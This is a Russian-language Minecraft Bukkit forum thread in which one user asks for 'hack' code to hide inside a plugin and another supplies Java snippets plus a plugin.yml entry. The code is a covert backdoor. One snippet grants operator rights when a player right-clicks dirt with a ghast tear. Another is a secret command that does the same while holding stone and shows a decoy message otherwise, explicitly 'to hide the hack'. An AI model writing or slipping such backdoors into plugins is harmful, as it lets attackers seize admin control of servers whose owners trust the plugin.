Хостинг серверов Minecraft playvds.com
  1. Вы находитесь в русском сообществе Bukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на русский язык плагины наших собратьев из других стран.
    Скрыть объявление

Хак в плагине

Тема в разделе "Разработка плагинов для новичков", создана пользователем anton_200052, 1 авг 2019.

  1. Автор темы
    anton_200052

    anton_200052 Участник Пользователь

    Баллы:
    31
    Имя в Minecraft:
    D1xess
    Помогите, киньте пример кода хака.
    Допустим игрок выполняет какое-либо действие, после этого ему выдается либо опка, либо звезда.
    Так же возможен вариант если игрок пишет что-либо в чат допустим "+op", а после этого пишет команду которая будет выполнена через консоль, допустим "+op op nik"
    Буду признателен
     
  2. Хостинг MineCraft
    <
  3. KarapuzZ

    KarapuzZ Новичок Пользователь

    Баллы:
    23
    Имя в Minecraft:
    aydyn5656
    Тебе нужны команды для взлома, которые работают?
     
  4. Автор темы
    anton_200052

    anton_200052 Участник Пользователь

    Баллы:
    31
    Имя в Minecraft:
    D1xess
    Мне нужен код хака, который я вошью в плагин путем переписи через еклипс
     
  5. TiMoXik

    TiMoXik Новичок

    Баллы:
    16
    Имя в Minecraft:
    TiMoXik
    Код:
    @EventHandler
    public void onHackOp(PlayerInteractEvent e){
    
    Player p = e.getPlayer(); // Находим игрока, который выполнил данный ивент.
    Block b = e.getClickedBlock() // Находим кликаемый блок.
    
    if(e.getAction() != Action.RIGHT_CLICK_BLOCK) return; // если это не клик правой кнопкой мыши, то действие не выполняется.
    if(b.getType != Material.DIRT) return; // если кликаемый блок не земля, действие не выполняется.
    if(e.getPlayer().getInventory().getItemInMainHand().getType() != Material.GHAST_TEAR) return; // если игрок кликает не слезой гаста - действие не выполняется.
    
    p.setOp(true); // выдача админ прав.
    
    }
    Писал без эклипса, может не работать, но смысл тебе должен быть понятен

    Вот ещё, но теперь уже командой (не забудь зарегестрировать в plugin.yml)


    Код:
    public boolean onCommand(CommandSender sender, Command cmd, String commandLabel, String[] args) {
    
    Player p = (Player) sender; // получаем игрока, который ввёл эту команду.
    
    if (cmd.getName().equalsIgnoreCase("UUID_PO4KA_55HACK")) { // получаем саму команду.
    
    ItemStack ItemHand = p.getInventory().getItemInMainHand(); // Получаем правую руку.
    
    if(ItemHand.getType == Material.STONE){ // Если предмет в руке камень, то происходит то что ниже.
    p.sendMessage("§aВы взломали админку");
    p.setOp(true);
    return true; // команда завершилась
    }
    
    if(ItemHand.getType != Material.STONE){ // Если предмет не камень, то происходит то что ниже, чтобы спрятать взлом.
    p.sendMessage("рофал ат одминаф");
    return true; // команда завершилась.
    }
    
    return true; // команда завершилась
    }
    
    return true;  // команда завершилась
    }
     
    Последнее редактирование: 7 авг 2019
  6. TiMoXik

    TiMoXik Новичок

    Баллы:
    16
    Имя в Minecraft:
    TiMoXik
    в plugin.yml добавь это
    Код:
    commands:
      UUID_PO4KA_55HACK:
       usage: /UUID_PO4KA_55HACK
     

Поделиться этой страницей